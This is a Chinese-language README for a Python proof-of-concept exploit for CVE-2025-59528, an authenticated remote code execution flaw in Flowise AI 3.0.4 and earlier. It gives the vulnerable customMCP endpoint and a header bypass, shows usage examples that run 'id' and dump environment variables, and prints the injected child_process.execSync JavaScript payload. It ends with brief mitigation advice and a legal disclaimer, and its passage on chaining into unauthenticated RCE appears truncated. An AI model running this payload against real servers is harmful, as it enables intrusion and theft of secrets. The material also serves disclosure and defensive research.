
针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。
CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: arensballiu
日期: 2025
Flowise AI 3.0.4 及之前版本允许已认证用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在宿主服务器上实现远程代码执行 (RCE)。
customMCP 节点的加载方法接受用户可控的输入,并在服务端将其作为 JavaScript 进行求值,缺乏充分的清理或沙箱隔离。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。
该端点还要求请求中包含 x-request-from: internal 头。
| 端点 | 方法 | 需要认证 | 用途 |
|---|
/api/v1/auth/login | POST | 否 | 认证并获取会话 |
/api/v1/node-load-method/customMCP | POST | 是(会话 cookie) | 存在漏洞的节点加载方法端点 |
文件: CVE-2025-59528_POC.py
requests 库pip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
-e | --email | 是 | 已认证用户的电子邮件地址 |
-i | --url | 是 | Flowise 实例的基础 URL |
-p | --password | 是 | 已认证用户的密码 |
-c | --cmd | 是 | 在服务器上执行的操作系统命令 |
验证代码执行:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
获取服务器环境变量:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
该漏洞利用将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — 加载 Node.js 内置的进程执行模块。execSync('<command>') — 同步运行攻击者提供的操作系统命令。请求中还附加了 x-request-from: internal 头,以通过原本会阻止该调用的内部来源检查。
customMCP 端点将用户提供的输入直接传入服务器上的 JavaScript 求值上下文,没有进行清理或沙箱隔离。结合通过 process.mainModule.require 对 Node.js 核心模块(特别是 child_process)的无限制访问,这构成了一个极易利用的 RCE 向量。x-request-from 头检查并未提供有意义的安全边界,因为它没有针对任何可信来源进行验证。
这两个漏洞可以链式组合,形成针对运行 <= 3.0.4 版本的 Flowise 实例的未认证 RCE 攻击路径:
vm2、隔离上下文,或移除 process.mainModule 访问)限制对危险 Node.js 模块(child_process、fs 等)的访问。x-request-from 头。本概念验证仅供教育和授权的安全研究目的提供。在未经明确书面许可的情况下对系统使用此脚本是非法的且不道德的。作者和贡献者对滥用行为不承担任何责任。